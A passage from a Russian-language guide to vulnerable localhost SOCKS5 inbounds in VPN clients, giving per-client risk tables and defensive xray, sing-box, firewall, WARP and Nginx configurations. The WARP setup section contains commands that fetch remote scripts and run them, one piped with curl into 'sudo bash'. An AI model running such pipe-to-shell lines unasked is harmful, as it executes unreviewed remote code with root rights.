UI. ⚠️ Custom config — ненадёжно (v2rayNG может перезаписать inbound) | 🟡 Уязвим | Перейти на Husi; или AFWall+ (root) | | **Hiddify** 4.1.1 | sing-box + xray | ? | ❌ Нет в UI | 🟡 Уязвим | Перейти на Husi/SFA | | **NekoBox** 1.4.2 | sing-box 1.12.19 | 2080 | ❌ Нет в UI. ⚠️ Custom JSON — возможно, но сбрасывается при обновлении | 🟡 Уязвим | Перейти на Husi; или удалить mixed inbound | | **Npv Tunnel** | xray | ? | ❌ Нет | 🟡 Уязвим | Перейти на Husi/SFA | | **v2RayTun** 5.19.64 | xray | ? | ⚠️ Ядро поддерживает, UI — неизвестно | 🟡 Скорее уязвим | Уточнить у разработчика | | **Happ** | xray | ? | ❌ + API HandlerService без auth | 🔴 **УДАЛИТЬ НЕМЕДЛЕННО** | Дамп ключей, IP, SNI | | **Karing** | sing-box | 3067 | ⚠️ Ядро поддерживает, в UI нет настройки | 🟡 Скорее уязвим | Проверить custom JSON | | **Exclave** | sing-box | ? | ✅ Да (через конфиг) | 🟢 Можно настроить | Настроить auth в конфиге | | **Husi** 1.1.0 | sing-box (dun) | ? | ✅ **Да, есть в UI** | 🟢 **Рекомендован** | Включить auth в настройках | | **SFA** 1.13.6 | sing-box | ? | ✅ Да (JSON) | 🟢 Можно настроить | Ручная правка JSON | | **saeeddev94/xray** | xray | ? | ✅ Да (JSON + UI) | 🟢 Можно настроить | F-Droid, настроить auth | | **v2RayTun** 5.20.67 | xray | ? | ❌ Нет в UI. Разработчик обещал фикс (март 2026), пока нет | 🟡 Уязвим | Ждать фикса или перейти. ⚠️ Шлёт домены подписок на свои сервера | | **ClashMeta Android** 2.11.25 | mihomo | — | ✅ Да (YAML). По дефолту `socks-port` **выключен** (TUN-only) → прокси нет → нечего сканировать | 🟢 **Безопасен по дефолту** | Если включили `socks-port` — добавить auth + убрать `skip-auth-prefixes` | | **FlClash** | mihomo | — | ✅ Да (YAML). Аналогично — дефолт TUN-only | 🟢 **Безопасен по дефолту** | Аналогично ClashMeta | | **Incy** 2.0.8 | xray 26.3.27 | ? | ⚠️ Ядро поддерживает, UI-настройка auth не документирована | 🟡 Вероятно уязвим | Нужна проверка — closed-source-подобный | | **anet** 0.4.2 | Собственный (Rust/ASTP) | — | ✅ **Не применимо** | 🟢 **Не уязвим** | Нет SOCKS5/HTTP прокси на localhost. Чистый TUN через собственный протокол | ### Windows / Desktop | Клиент | Ядро | Порт | SOCKS5 auth | Статус | Что делать | |--------|------|------|-------------|--------|------------| | **v2rayN** 7.20.2 | xray/sing-box | 10808 | ✅ Да (JSON + UI) | 🟢 Можно настроить | Включить auth + Windows Firewall | | **Nekoray** | sing-box/xray | ? | ❌ Нет в UI | 🔴 **Заброшен (2026)** | Перейти на Throne / v2rayN / Clash Verge Rev | | **Throne** 1.1.1 (март 2026) | sing-box (основной) + xray (для VLESS) | 2080 | ⚠️ Дефолтный mixed нельзя отключить, но можно создать кастомный inbound с auth | 🟡 Уязвим по дефолту, **можно настроить** | Создать кастомный inbound с auth; заблокировать дефолтный фаерволом | | **XrayFluent** | xray | 10808 | ❌ Нет | 🟡 Уязвим | Будет исправлено | | **Karing** (Windows) | sing-box | 3067/3066 | ⚠️ Ядро поддерживает, UI-настройка не подтверждена | 🟡 Вероятно уязвим | Проверить custom JSON | | **Clash Verge Rev** | mihomo | — | ✅ Да (YAML). По дефолту TUN-only, `socks-port` выключен | 🟢 **Безопасен по дефолту** | Если включили socks-port — добавить auth + убрать skip | | **ClashX Meta** (macOS) | mihomo | — | ✅ Да (YAML). Аналогично | 🟢 **Безопасен по дефолту** | Аналогично | | **Incy** (Desktop) 2.0.8 | xray 26.3.27 | ? | ⚠️ Не документировано | 🟡 Нужна проверка | — | ### iOS | Клиент | Ядро | Порт | SOCKS5 auth | Статус | Что делать | |--------|------|------|-------------|--------|------------| | **Happ** | xray | ? | ❌ + API без auth | 🔴 **УДАЛИТЬ** | Удалено из **российского** App Store; в других регионах может быть доступно, но фикса не будет | | **V2BOX** 5.3.4 | xray | ? | ❌ Нет подтверждения | 🟡 Скорее уязвим | Нет решения | | **RabbitHole** 1.3.0 | ? (closed-source) | ? | ⚠️ Неизвестно | ❓ Нужна проверка | Closed-source, поддерживает SOCKS5 — нужна проверка POC | | **Shadowrocket** | iOS VPN framework | — | ⚠️ Вероятно не применимо (iOS sandbox) | 🟢/❓ **Скорее не уязвим, нужна проверка POC** | iOS sandbox ограничивает listening sockets | > **Shadowrocket** — использует iOS Network Extension (VPN framework). Основной режим — TUN через системный VPN. В отличие от Android-клиентов (v2rayNG, NekoBox), Shadowrocket **не является прокси-сервером** — он подключается К прокси-серверам. Однако верификация показала, что Shadowrocket может поддерживать SOCKS5-конфигурации на localhost. При этом iOS sandbox **жёстко ограничивает** фоновые listening-сокеты, доступные другим приложениям. **Вердикт: скорее не уязвим** из-за ограничений iOS, но для полной уверенности **требуется проверка POC на реальном устройстве**. > **Exclave** ранее указывался как iOS-клиент — это ошибка. Exclave ([github.com/dyhkwong/Exclave](https://github.com/dyhkwong/Exclave)) — это **Android**-клиент на базе sing-box, доступен на F-Droid. Поддерживает аутентификацию через конфиг. > **RabbitHole** — closed-source iOS/macOS клиент от RABBIT HOLE STUDIO LTD. Поддерживает VLESS, VMess, Hysteria2, SOCKS5 и др. Без публичного репозитория невозможно точно определить, создаёт ли он SOCKS5 на localhost. Требуется ручная проверка POC-приложением. > **Incy** — кроссплатформенный клиент на xray-core 26.3.27 ([github.com/INCY-DEV/incy-platforms](https://github.com/INCY-DEV/incy-platforms)). v2.0.8 (7 апреля 2026). Поддерживает VLESS Reality, VMess, Trojan, SS, Hysteria2, WireGuard. Auth-статус на локальном inbound не документирован — нужна проверка. > **Throne** ([github.com/throneproj/Throne](https://github.com/throneproj/Throne)) — **преемник заброшенного Nekoray**. Qt-based, sing-box + встроенный xray-core. v1.1.1 (март 2026). Дефолтный mixed inbound **нельзя отключить**, но можно: (1) перевесить на другой IP:port, (2) заблокировать фаерволом, (3) создать кастомный socks/mixed inbound с auth. Из обсуждения на ntc.party: «в Throne ситуация получше — можно создать кастомный инбаунд и закрыть его логопассом». > **anet** ([github.com/ZeroTworu/anet](https://github.com/ZeroTworu/anet)) — полностью кастомный Rust VPN с собственным протоколом ASTP v0.5 (ChaCha20Poly1305/X25519/Ed25519). **Не создаёт** SOCKS5/HTTP прокси — только чистый TUN. Нишевый проект для «сети друзей» (624 звезды). К данной уязвимости **не применим**. > **v2RayTun** — xray-core, 16 млн скачиваний, open-source. Разработчик **подтвердил уязвимость** (март 2026) и обещал фикс, но на апрель 2026 фикса нет. ⚠️ Privacy concern: отправляет домены подписок на свои серверы при каждом запуске. ### О hev-socks5-tunnel (используется в v2rayNG) **hev-socks5-tunnel** — это легковесная реализация tun2socks. Сама библиотека **поддерживает** SOCKS5-аутентификацию (username/password). Но **v2rayNG не включает auth** при настройке туннеля — передаёт `noauth`. Проблема не в hev-socks5-tunnel, а в том, что v2rayNG не выставляет аутентификацию на inbound xray-core, к которому подключается туннель. ### О Karing (sing-box) **Karing** использует ядро sing-box. Создаёт local proxy на портах: - HTTP/HTTPS: `127.0.0.1:3066` - SOCKS5: `127.0.0.1:3067` Karing использует sing-box core с тремя mixed-inbound портами: 3065, 3066, 3067. По умолчанию — **без аутентификации**. **Защита**: в настройках каждого профиля необходимо отредактировать блок `inbounds` и добавить `users` с паролем ко **всем трём** inbound: ```json "inbounds": [ { "type": "mixed", "tag": "mixed_in_direct", "set_system_proxy": false, "users": [ { "username": "local", "password": "СЮДА_ДЛИННЫЙ_РАНДОМНЫЙ_ПАРОЛЬ" } ], "listen": "127.0.0.1", "listen_port": 3065 }, { "type": "mixed", "tag": "mixed_in_proxy", "set_system_proxy": false, "users": [ { "username": "local", "password": "СЮДА_ДЛИННЫЙ_РАНДОМНЫЙ_ПАРОЛЬ" } ], "listen": "127.0.0.1", "listen_port": 3066 }, { "type": "mixed", "tag": "mixed_in_rule", "set_system_proxy": false, "users": [ { "username": "local", "password": "СЮДА_ДЛИННЫЙ_РАНДОМНЫЙ_ПАРОЛЬ" } ], "listen": "127.0.0.1", "listen_port": 3067 } ] ``` **Важно:** - Пароль должен быть одинаковым во всех трёх inbound (Karing использует один пароль для всех) - Это нужно делать **вручную** для каждого профиля - Подключение и стабильность работы это **не затрагивает** - Без этой правки все три порта (3065-3067) открыты для любого приложения > ⚠️ **Важно:** Karing использует нестандартные порты (3065-3067), которых нет в методичке Минцифры. Но скан всех портов localhost — дело секунд. ### О Husi (подтверждённый фикс) **Husi** ([codeberg.org/xchacha20-poly1305/husi](https://codeberg.org/xchacha20-poly1305/husi)) — форк sing-box для Android с поддержкой SOCKS5-аутентификации в UI. Проверено: POC-приложение per-app-split-bypass **не может** обнаружить прокси при включённой аутентификации (скриншот выше). > ⚠️ **Критично:** убедитесь что Husi использует sing-box версии **1.4.5 или выше** — в более ранних версиях есть CVE-2023-43644 (обход аутентификации). См. [раздел 19](#19-cve-2023-43644-обход-аутентификации-sing-box). --- ## 3. Что делать пользователям Android ### Приоритет 1: Немедленно 1. **Удалить Happ** — HandlerService без аутентификации позволяет дампить ваши ключи и IP сервера. Один пользователь с Happ компрометирует весь сервер. 2. **Перейти на клиент с SOCKS5 auth:** - **Husi** (рекомендован) — [codeberg.org/xchacha20-poly1305/husi](https://codeberg.org/xchacha20-poly1305/husi) - **SFA** (sing-box for Android) — ручная настройка JSON - **saeeddev94/xray** — [F-Droid](https://f-droid.org/packages/io.github.saeeddev94.xray/) — ручной JSON 3. **Включить аутентификацию** в настройках клиента (см. конфиги ниже) ### Приоритет 2: Серверная защита 4. Попросить администратора сервера настроить **раздельные IP** (входной ≠ выходной) 5. Убедиться что на сервере **заблокирован geoip:ru на outbound** 6. Использовать маршрутизацию **«Всё кроме РФ»** на клиенте ### Приоритет 3: Изоляция 7. **Российское ПО — на отдельное устройство.** Knox/Shelter/Island **НЕ изолируют loopback**. 8. Если есть root: заблокировать доступ к SOCKS-порту через iptables: ```bash # Разрешить только UID VPN-клиента (например, 10150) iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10808 -m owner --uid-owner 10150 -j ACCEPT iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10808 -j DROP # То же для UDP iptables -I OUTPUT -p udp -d 127.0.0.1 --dport 10808 -m owner --uid-owner 10150 -j ACCEPT iptables -I OUTPUT -p udp -d 127.0.0.1 --dport 10808 -j DROP ``` > UID приложения: `adb shell dumpsys package | grep userId` ### Чего НЕ делать - ❌ Не полагаться на смену порта — скан 65535 портов на localhost за секунды - ❌ Не полагаться на Knox/Shelter/Island — loopback общий - ❌ Не полагаться на split tunneling — шпион ходит напрямую на 127.0.0.1 - ❌ Не полагаться на режим инкогнито — не влияет на localhost --- ## 4. Что делать пользователям Windows На Windows ситуация **лучше**, чем на Android: есть Windows Firewall с контролем по процессам. ### Приоритет 1: Firewall 1. **Заблокировать доступ к порту 10808/10809 для всех процессов кроме доверенных:** PowerShell (от администратора): ```powershell # Заблокировать ВСЕ подключения к SOCKS-порту New-NetFirewallRule -DisplayName "Block SOCKS5 10808" ` -Direction Outbound -LocalPort 10808 -Protocol TCP ` -Action Block -Profile Any # Разрешить только xray.exe New-NetFirewallRule -DisplayName "Allow xray SOCKS5" ` -Direction Outbound -LocalPort 10808 -Protocol TCP ` -Program "C:\path\to\xray.exe" -Action Allow -Profile Any # Разрешить браузеру (если нужен прямой SOCKS) New-NetFirewallRule -DisplayName "Allow Firefox SOCKS5" ` -Direction Outbound -LocalPort 10808 -Protocol TCP ` -Program "C:\Program Files\Mozilla Firefox\firefox.exe" ` -Action Allow -Profile Any # То же для HTTP-прокси порта New-NetFirewallRule -DisplayName "Block HTTP proxy 10809" ` -Direction Outbound -LocalPort 10809 -Protocol TCP ` -Action Block -Profile Any New-NetFirewallRule -DisplayName "Allow xray HTTP" ` -Direction Outbound -LocalPort 10809 -Protocol TCP ` -Program "C:\path\to\xray.exe" -Action Allow -Profile Any ``` > **Важно:** правила `Allow` должны быть выше правил `Block` по приоритету. В Windows Firewall `Block` имеет приоритет по умолчанию, поэтому нужно настроить через GPO или использовать `netsh` с правильным порядком. 2. **Альтернатива — xray routing с process name:** В конфиге xray-core на клиенте можно ограничить, какие процессы могут использовать прокси: ```json { "routing": { "rules": [ { "type": "field", "processName": ["firefox", "chrome", "msedge", "telegram"], "outboundTag": "proxy" }, { "type": "field", "processName": ["yandex", "vk", "ozon"], "outboundTag": "block" } ] } } ``` > **Ограничение:** `processName` работает только для локальных подключений (тот же хост). Формат: `"firefox"` (без .exe) или `"C:\\Program Files\\app.exe"` (абсолютный путь). ### Приоритет 2: Конфигурация клиента 3. **Включить SOCKS5 auth** в конфиге (даже на Windows это полезно): В v2rayN: настройки → custom inbound config → изменить `"auth": "noauth"` на `"auth": "password"` + добавить `"accounts"`. 4. **Использовать маршрутизацию «Всё кроме РФ»:** В v2rayN 7.0+: `Настройки → Региональные пресеты → Россия → Всё кроме РФ`. Автоматически скачивает правила из [runetfreedom/russia-v2ray-rules-dat](https://github.com/runetfreedom/russia-v2ray-rules-dat). --- ## 5. Что делать пользователям iOS Ситуация на iOS **самая сложная:** - Большинство клиентов удалено из App Store → обновлений не будет - Нет root → нет iptables - Нет возможности редактировать inbound JSON в большинстве клиентов ### Что можно сделать 1. **Удалить Happ** — самый опасный клиент, удалён из App Store, фикса не будет 2. **Использовать клиенты с поддержкой custom JSON** — если такие ещё установлены 3. **Защита на стороне сервера** — единственная реальная опция: - Раздельные входной/выходной IP - WARP на выходе - geoip:ru → block на сервере ### Особенность iOS Исследователи LocalMess отмечают: iOS **технически уязвима** к тому же вектору (loopback не изолирован), но фоновые приложения iOS **жёстко ограничены** — им сложнее запускать постоянные фоновые сканеры. Это не защита, а лишь усложнение атаки. --- ## 6. Что делать администраторам серверов ### Приоритет 1: Раздельные IP Если у сервера **один IP** — выходной IP = входной IP. Утечка выходного = потеря сервера. **Решение: два IP-адреса.** - Входной IP (для подключения клиентов) → inbound слушает на нём - Выходной IP (для исходящего трафика) → freedom outbound через `sendThrough` ```json { "outbounds": [ { "protocol": "freedom", "sendThrough": "203.0.113.46", "tag": "freedom-out" } ] } ``` Если второй IP недоступен → используйте WARP (раздел 10). ### Приоритет 2: WARP на выходе CloudFlare WARP маскирует выходной IP. Даже если шпион узнает выходной IP через SOCKS5, он получит IP Cloudflare, а не вашего сервера. ### Приоритет 3: Блокировка geoip:ru на outbound Шпионский модуль, пробравшийся через SOCKS5, отправит запрос на российский сервер (для передачи вашего IP в РКН). Если заблокировать исходящий трафик на geoip:ru, шпион не сможет связаться со своим сервером через ваш VPN. ### Приоритет 4: Блокировка Happ На сервере подписок заблокировать UserAgent `Happ/*`. Один пользователь с Happ = компрометация всего сервера (ключи, SNI, входной IP). ### Приоритет 5: Мониторинг Отслеживать нетипичные запросы через прокси: - `ifconfig.me`, `ipinfo.io`, `whatismyip.com`, `api.ipify.org` - Массовые запросы на российские IP - Паттерны, характерные для сканирования --- ## 7. Конфигурации: xray-core клиент ### Безопасный inbound (SOCKS5 с аутентификацией) ```json { "inbounds": [ { "tag": "socks-in", "listen": "127.0.0.1", "port": 10808, "protocol": "socks", "settings": { "auth": "password", "accounts": [ { "user": "xfl_a8b3c2d1", "pass": "p_7e4f91d0c3b8a2e5f6" } ], "udp": false }, "sniffing": { "enabled": true, "destOverride": ["http", "tls", "quic"], "routeOnly": true } }, { "tag": "http-in", "listen": "127.0.0.1", "port": 10809, "protocol": "http", "settings": { "accounts": [ { "user": "xfl_a8b3c2d1", "pass": "p_7e4f91d0c3b8a2e5f6" } ] }, "sniffing": { "enabled": true, "destOverride": ["http", "tls"], "routeOnly": true } } ] } ``` ### Описание полей | Поле | Значение | Почему | |------|----------|--------| | `"auth": "password"` | Включает аутентификацию | Шпион не сможет подключиться без логина/пароля | | `"accounts"` | `[{user, pass}]` | Рандомные credentials — генерировать при каждом запуске | | `"udp": false` | Отключает UDP | UDP ASSOCIATE не аутентифицирует per-packet (RFC 1928) | | `"listen": "127.0.0.1"` | Только localhost | Никогда `0.0.0.0` — иначе прокси доступен из сети | | `"sniffing"` | Определение протоколов | Нужно для правильной маршрутизации | ### Почему UDP отключён Протокол SOCKS5 (RFC 1928, Section 7) аутентифицирует **только TCP-соединение**. Команда UDP ASSOCIATE создаёт UDP-ретранслятор, но сами UDP-датаграммы **не содержат поля аутентификации**: ``` UDP-датаграмма SOCKS5: +-----+------+------+----------+----------+----------+ | RSV | FRAG | ATYP | DST.ADDR | DST.PORT | DATA | +-----+------+------+----------+----------+----------+ | 2 | 1 | 1 | Variable | 2 | Variable | +-----+------+------+----------+----------+----------+ ↑ Нет поля для логина/пароля ``` xray-core и sing-box **не реализуют** per-packet аутентификацию для UDP. Поэтому при включённой SOCKS5-аутентификации UDP нужно отключать. ### Без UDP — что перестанет работать? - ❌ DNS через SOCKS UDP (решение: использовать DNS over HTTPS/TLS) - ❌ QUIC через SOCKS UDP (решение: fallback на TCP) - ✅ Обычный веб-браузинг работает (TCP) - ✅ Telegram работает (TCP fallback) - ✅ Стриминг работает (TCP) ### «Но ведь пароль передаётся открытым текстом — шпион его перехватит?» **Нет.** Это частый вопрос, основанный на предупреждении из RFC 1929: *«Since the request carries the password in cleartext, this subnegotiation is not recommended for environments where 'sniffing' is possible.»* Но это предупреждение про **сетевой сниффинг** (Wi-Fi, Ethernet), а не про localhost. **На Android без root приложение НЕ может перехватить чужой TCP-трафик на localhost:** | Действие | Без root | Почему | |----------|----------|--------| | Подключиться к чужому порту localhost | ✅ Может | Именно это и есть уязвимость | | **Читать чужой TCP-трафик** на localhost | ❌ **Не может** | Нет raw socket без `CAP_NET_RAW` | | Снифать loopback (tcpdump) | ❌ Не может | Требует root | | Читать fd/память другого процесса | ❌ Не может | Android sandbox, разные UID | | Видеть что порт открыт (/proc/net/tcp) | ✅ Может | Номера портов видны, данные — нет | ``` ┌─────────────────────────────────────────────────┐ │ Android Kernel │ │ │ │ VPN Client (UID 10150) │ │ ├── TCP → 127.0.0.1:10808 │ │ └── "user=abc pass=xyz" ← plaintext │ │ ↑ │ │ Ядро: только UID 10150 видит эти данные │ │ │ │ Шпион (UID 10200) │ │ ├── connect() к :10808 ✅ → нужен пароль → ❌ │ │ └── read() чужого сокета → НЕВОЗМОЖНО │ └─────────────────────────────────────────────────┘ ``` **С root — да, всё плохо:** `tcpdump -i lo port 10808 -A` увидит пароль. Но если у шпиона root, ему не нужен SOCKS5 — он читает конфиг-файлы напрямую, дампит память, контролирует iptables. Root = game over независимо от auth. **Вывод:** SOCKS5 auth на localhost защищает от **прямого подключения** (основной вектор атаки). Перехват plaintext пароля между процессами без root невозможен. Для дополнительной безопасности: генерировать рандомный пароль при каждом запуске (чтобы не утёк из файла/лога). --- ## 8. Конфигурации: sing-box клиент ### Безопасный inbound (mixed с аутентификацией) ```json { "inbounds": [ { "type": "mixed", "tag": "mixed-in", "listen": "127.0.0.1", "listen_port": 2080, "users": [ { "username": "sb_d4c1a7f2", "password": "p_9e2f5b83a1c7d0e4" } ], "set_system_proxy": false } ] } ``` ### Без inbound вообще (если не нужен локальный прокси) Если клиент использует только TUN-режим и вам не нужен локальный SOCKS5-прокси, **удалите mixed inbound полностью**. sing-box **не создаёт** его автоматически — это делают клиенты. ```json { "inbounds": [ { "type": "tun", "tag": "tun-in", "inet4_address": "172.19.0.1/30", "auto_route": true, "strict_route": true, "stack": "system" } ] } ``` Без mixed/socks inbound шпиону нечего сканировать на localhost. ### Разница type: "socks" vs type: "mixed" | | `"socks"` | `"mixed"` | |---|-----------|-----------| | SOCKS4/4a | ✅ | ✅ | | SOCKS5 | ✅ | ✅ | | HTTP proxy | ❌ | ✅ | | `users` (auth) | ✅ | ✅ | | Рекомендация | Если нужен только SOCKS | Если нужен SOCKS + HTTP | --- ## 9. Конфигурации: xray-core сервер ### Безопасный серверный конфиг (VLESS + Reality + WARP + блокировка РФ) ```json { "log": { "loglevel": "warning" }, "api": { "tag": "api", "services": ["StatsService"] }, "stats": {}, "policy": { "levels": { "0": { "statsUserUplink": true, "statsUserDownlink": true } }, "system": { "statsInboundUplink": true, "statsInboundDownlink": true, "statsOutboundUplink": true, "statsOutboundDownlink": true } }, "inbounds": [ { "listen": "0.0.0.0", "port": 443, "protocol": "vless", "settings": { "clients": [ { "id": "ваш-UUID", "email": "user@example.com", "flow": "xtls-rprx-vision" } ], "decryption": "none" }, "streamSettings": { "network": "tcp", "security": "reality", "realitySettings": { "show": false, "dest": "www.microsoft.com:443", "xver": 0, "serverNames": ["www.microsoft.com", "microsoft.com"], "privateKey": "ВАШЕ_ЗНАЧЕНИЕ_ИЗ_xray_x25519", "shortIds": ["", "abcdef12"] } }, "sniffing": { "enabled": true, "destOverride": ["http", "tls", "quic"] }, "tag": "vless-reality-in" }, { "listen": "127.0.0.1", "port": 62789, "protocol": "dokodemo-door", "settings": { "address": "127.0.0.1" }, "tag": "api-in" } ], "outbounds": [ { "protocol": "freedom", "tag": "direct" }, { "protocol": "blackhole", "tag": "block" }, { "protocol": "wireguard", "settings": { "secretKey": "ВАШЕ_WARP_PRIVATE_KEY", "address": ["172.16.0.2/32", "fd01:5ca1:ab1e:823e::/128"], "peers": [ { "publicKey": "bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo=", "allowedIPs": ["0.0.0.0/0", "::/0"], "endpoint": "engage.cloudflareclient.com:2408" } ], "reserved": [0, 0, 0], "mtu": 1280 }, "tag": "warp-out" } ], "routing": { "domainStrategy": "IPIfNonMatch", "rules": [ { "type": "field", "inboundTag": ["api-in"], "outboundTag": "api" }, { "type": "field", "ip": ["geoip:private"], "outboundTag": "block", "ruleTag": "block-private" }, { "type": "field", "ip": ["geoip:ru"], "outboundTag": "block", "ruleTag": "block-russia-ip" }, { "type": "field", "domain": ["regexp:\\.ru$", "regexp:\\.рф$"], "outboundTag": "block", "ruleTag": "block-russia-domains" }, { "type": "field", "protocol": ["bittorrent"], "outboundTag": "block", "ruleTag": "block-torrent" }, { "type": "field", "network": "tcp,udp", "outboundTag": "warp-out", "ruleTag": "default-to-warp" } ] } } ``` ### Что делает каждое правило маршрутизации | Правило | Что блокирует/перенаправляет | Зачем | |---------|------------------------------|-------| | `geoip:private` → block | Частные IP (10.x, 192.168.x, 127.x) | Шпион не сможет «вернуться» на локалку через прокси | | `geoip:ru` → block | Российские IP | Шпион не свяжется с РКН через ваш VPN | | `category-gov-ru` → block | Госсайты РФ | Госсервисы не получат трафик через прокси | | `regexp:\.ru$` → block | Все .ru домены | Дополнительная защита | | `bittorrent` → block | Торренты | Экономия ресурсов, правовая безопасность | | default → warp-out | Весь остальной трафик | Маскировка выходного IP через WARP | ### О API-сервисах ```json "services": ["StatsService"] ``` Включён **только** StatsService для мониторинга трафика. **НЕ включать:** - ❌ `HandlerService` — позволяет дампить конфиги (уязвимость Happ) - ❌ `RoutingService` — позволяет менять маршрутизацию - ❌ `ReflectionService` — позволяет обнаружить доступные API --- ## 10. Конфигурации: CloudFlare WARP на сервере ### Зачем Если шпион всё-таки узнает выходной IP через SOCKS5, он получит IP **Cloudflare WARP**, а не вашего сервера. Ваш реальный IP остаётся скрытым. ### Получение WARP-ключей #### Способ 1: wgcf ```bash # Установка curl -fsSL git.io/wgcf.sh | sudo bash # Регистрация wgcf register wgcf generate # Файл wgcf-profile.conf содержит: # PrivateKey = ВАШЕ_WARP_PRIVATE_KEY # PublicKey = bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo= # Address = 172.16.0.2/32, fd01:5ca1:ab1e:823e::/128 # Endpoint = engage.cloudflareclient.com:2408 ``` #### Способ 2: warp-go (если wgcf не работает) ```bash wget -N https://gitlab.com/fscarmen/warp/-/raw/main/warp-go.sh bash warp-go.sh ``` ### Конфиг WireGuard outbound для xray ```json { "protocol": "wireguard", "settings": { "secretKey": "ЗНАЧЕНИЕ_ИЗ_PrivateKey", "address": [ "172.16.0.2/32", "fd01:5ca1:ab1e:823e::/128" ], "peers": [ { "publicKey": "bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo=", "allowedIPs": ["0.0.0.0/0", "::/0"], "endpoint": "engage.cloudflareclient.com:2408" } ], "reserved": [0, 0, 0], "mtu": 1280 }, "tag": "warp-out" } ``` **Параметры:** - `secretKey` — приватный ключ из WARP-регистрации - `address` — IP-адреса туннеля (IPv4 + IPv6) - `peers[0].publicKey` — публичный ключ Cloudflare (фиксированный) - `endpoint` — сервер Cloudflare - `reserved` — обязательно `[0, 0, 0]` (или значения из wgcf) - `mtu` — 1280 для максимальной совместимости ### Маршрутизация: весь трафик через WARP ```json { "routing": { "rules": [ { "type": "field", "network": "tcp,udp", "outboundTag": "warp-out" } ] } } ``` ### Маршрутизация: только определённый трафик через WARP ```json { "routing": { "rules": [ { "type": "field", "domain": ["openai.com", "netflix.com", "spotify.com"], "outboundTag": "warp-out" }, { "type": "field", "network": "tcp,udp", "outboundTag": "direct" } ] } } ``` --- ## 11. Конфигурации: блокировка geoip:ru на сервере ### Полная блокировка (рекомендуется) ```json { "routing": { "domainStrategy": "IPIfNonMatch", "rules": [ { "type": "field", "ip": ["geoip:ru"], "outboundTag": "block" }, { "type": "field", "domain": [ "geosite:category-gov-ru", "regexp:\\.ru$", "regexp:\\.рф$" ], "outboundTag": "block" } ] }, "outbounds": [ { "protocol": "blackhole", "tag": "block" } ] } ``` ### Расширенная блокировка (с кастомными списками) Проект [runetfreedom/russia-v2ray-rules-dat](https://github.com/runetfreedom/russia-v2ray-rules-dat) предоставляет актуальные списки: ```json { "routing": { "rules": [ { "type": "field", "ip": ["ext:geoip_RU.dat:ru-block"], "outboundTag": "block" }, { "type": "field", "domain": ["ext:geosite_RU.dat:ru-block"], "outboundTag": "block" } ] } } ``` Файлы `geoip_RU.dat` и `geosite_RU.dat` нужно скачать и поместить в директорию ресурсов xray (обычно рядом с `geoip.dat`). ### Зачем блокировать geoip:ru на СЕРВЕРЕ Если шпион на устройстве пользователя подключится к SOCKS5-прокси и попытается передать выходной IP на российский сервер (например, `api.rkn.gov.ru`), запрос уйдёт через VPN-сервер. Если на сервере geoip:ru → block, запрос будет заблокирован — шпион не сможет передать данные. Без этой блокировки шпион может анализировать паттерн трафика, сопоставлять его с логами провайдера и вычислить ваш входной IP. --- ## 12. Конфигурации: маршрутизация «Всё кроме РФ» на клиенте ### xray-core клиент ```json { "routing": { "domainStrategy": "IPIfNonMatch", "rules": [ { "type": "field", "domain": ["geosite:category-ru"], "outboundTag": "direct", "ruleTag": "ru-sites-direct" }, { "type": "field", "ip": ["geoip:ru"], "outboundTag": "direct", "ruleTag": "ru-ip-direct" }, { "type": "field", "ip": ["geoip:private"], "outboundTag": "direct", "ruleTag": "private-direct" }, { "type": "field", "network": "tcp,udp", "outboundTag": "proxy", "ruleTag": "default-proxy" } ] }, "outbounds": [ { "protocol": "vless", "tag": "proxy", "settings": { "vnext": [{ "address": "ВАШ_СЕРВЕР", "port": 443, "users": [{ "id": "ВАШ_UUID", "encryption": "none", "flow": "xtls-rprx-vision" }] }] }, "streamSettings": { "network": "tcp", "security": "reality", "realitySettings": { "fingerprint": "chrome", "serverName": "www.microsoft.com", "publicKey": "ВАШ_PUBLIC_KEY", "shortId": "" } } }, { "protocol": "freedom", "tag": "direct" } ] } ``` ### sing-box клиент (v1.8+) ```json { "route": { "rules": [ { "rule_set": ["geoip-ru", "geosite-ru"], "outbound": "direct" }, { "rule_set": "geoip-private", "outbound": "direct" } ], "rule_set": [ { "tag": "geoip-ru", "type": "remote", "format": "binary", "url": "https://raw.githubusercontent.com/SagerNet/sing-geoip/rule-set/geoip-ru.srs" }, { "tag": "geosite-ru", "type": "remote", "format": "binary", "url": "https://raw.githubusercontent.com/SagerNet/sing-geosite/rule-set/geosite-category-ru.srs" }, { "tag": "geoip-private", "type": "remote", "format": "binary", "url": "https://raw.githubusercontent.com/SagerNet/sing-geoip/rule-set/geoip-private.srs" } ], "final": "proxy" } } ``` > sing-box v1.8+ использует `rule_set` вместо устаревших `geoip`/`geosite` полей. ### v2rayN — настройка пресета 1. Откройте v2rayN → **Настройки** → **Региональные пресеты** 2. Выберите **Россия** 3. Выберите пресет **«Все, кроме РФ»** (RUv1-All except RF) 4. Правила скачаются автоматически из: - GeoIP: `runetfreedom/russia-v2ray-rules-dat` - GeoSite: `nicknameisthekey/russia-v2ray-custom-routing-list` ### Зачем маршрутизация «Всё кроме РФ» на клиенте 1. Российские сайты открываются **напрямую** (быстрее, стабильнее) 2. Шпионский модуль в приложении не может отправить данные через VPN (geoip:ru → direct) 3. Нет заблокированных ресурсов на российских IP (блокировки реализованы иначе) --- ## 13. Блокировка Happ на сервере подписок ### Почему это критично Happ включает **xray API HandlerService без аутентификации**. Через него можно: - Дампить **полный outbound-конфиг** (ключи, IP, SNI) - Узнать **входной IP сервера** (не только выходной) - Потенциально **расшифровать трафик** **Один пользователь с Happ компрометирует ВЕСЬ сервер.** ### xray-core НЕ умеет фильтровать по UserAgent xray-core не имеет встроенной возможности проверять HTTP UserAgent в VLESS/VMess inbound. Фильтрацию нужно делать на уровне **сервера подписок** (nginx/caddy). ### Nginx: блокировка Happ по UserAgent ```nginx # /etc/nginx/conf.d/block-happ.conf map $http_user_agent $is_happ { default 0; ~*Happ 1; ~*Happ/ 1; } server { listen 443 ssl http2; server_name sub.example.com; # SSL конфигурация... # Блокировка Happ if ($is_happ) { return 403 "Access denied"; } location /api/subscribe { # ваша конфигурация подписок proxy_pass http://127.0.0.1:8080; } } ``` ### Caddy: блокировка Happ по UserAgent ```caddy sub.example.com { @happ_blocked header_regexp User-Agent "(?i)Happ" respond 